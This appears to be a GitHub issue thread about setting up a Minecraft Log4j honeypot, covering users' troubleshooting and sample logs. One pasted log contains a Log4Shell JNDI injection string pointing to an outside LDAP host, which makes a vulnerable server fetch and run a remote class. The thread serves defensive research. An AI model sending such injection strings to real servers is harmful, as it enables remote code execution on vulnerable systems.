Testing example about minecraft-log4j-honeypot HOT 7 CLOSED

Hey @rangerrkm,
I set up the honeypot and tested it with my own account (no success getting any attacker to join yet.) The logs for a successful attack look like this:

2021/12/16 04:30:24 New connection from xxx.xxx.xxx.xx:61768
2021/12/16 04:30:24 Received handshake: 754 2 xxx.xxx.xxx.xxx:25565
2021/12/16 04:30:24 Testing text: xxxxx
2021/12/16 04:30:24 xxxxx joined the server
2021/12/16 04:30:28 Testing text: ${jndi:ldap://2.tcp.ngrok.io:14179/Exploit}
2021/12/16 04:30:28 Fetching payload for: jndi:ldap://2.tcp.ngrok.io:14179/Exploit
2021/12/16 04:30:29 Saved payload to file 5ffa6880-42e1-4031-8016-6badde8169c8.class

afterwards you can find the payload class in the payloads folder

from minecraft-log4j-honeypot.

I've been having the same issue as well. Not sure what is wrong. Maybe the payloads folder location.
Adikso, Where should the payloads folder be created with the Docker version?

Getting connections, but when I look into the payloads folder it is blank.

Thanks,

from minecraft-log4j-honeypot.

What do you mean by "attacks"? Are there "${jndi:ldap://XXXX} messages showing up in console output?
All players messages and their nicknames are analysed and printed in the output

from minecraft-log4j-honeypot.

Here is what I'm seeing for output:

2021/12/13 18:49:37 Waiting for connections on :25565
2021/12/14 06:37:19 New connection from XXX.XXX.XXX.XXX:19369
2021/12/14 06:37:19 Received handshake: 384 1 XXX.XXX.XXX.XXX:25565
2021/12/14 06:38:09 New connection from XXX.XXX.XXX.XXX:1646
2021/12/14 06:38:09 Received handshake: 384 1 XXX.XXX.XXX.XXX:25565
2021/12/14 21:01:03 New connection from XXX.XXX.XXX.XXX:59336
2021/12/14 21:01:03 Received handshake: 4 1 XXX.XXX.XXX.XXX:25565
2021/12/14 21:40:39 New connection from XXX.XXX.XXX.XXX:7388
2021/12/14 21:40:39 Received handshake: 4 1 XXX.XXX.XXX.XXX:25565

So, maybe I'm doing something wrong or my setup is not correct.

Thanks,

from minecraft-log4j-honeypot.

These are not attacks, somebody is just doing server list ping. They didn't joined the game

from minecraft-log4j-honeypot.

Aw, ok thanks for letting me know. Can you post an attacker joining the game? Just so I have an example.

from minecraft-log4j-honeypot.

Thanks @nixrod for the information.

from minecraft-log4j-honeypot.